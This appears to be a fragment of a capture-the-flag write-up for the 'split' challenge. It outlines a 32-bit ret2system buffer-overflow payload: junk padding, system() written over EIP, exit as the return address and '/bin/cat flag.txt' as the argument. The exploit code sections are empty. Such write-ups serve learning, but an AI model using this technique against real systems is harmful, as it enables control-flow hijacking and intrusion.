split
split 32bit
Solution
buffer
function => EIP
return_address
arg1
arg2
arg3
...b"A" * offset => junk
system => Overwrite EIP with the address of system()
exit => This is called when system() returns (return address)
/bin/cat flag.txt => This is the argument for system()Exploit
split 64bit
Solution
Exploit
Last updated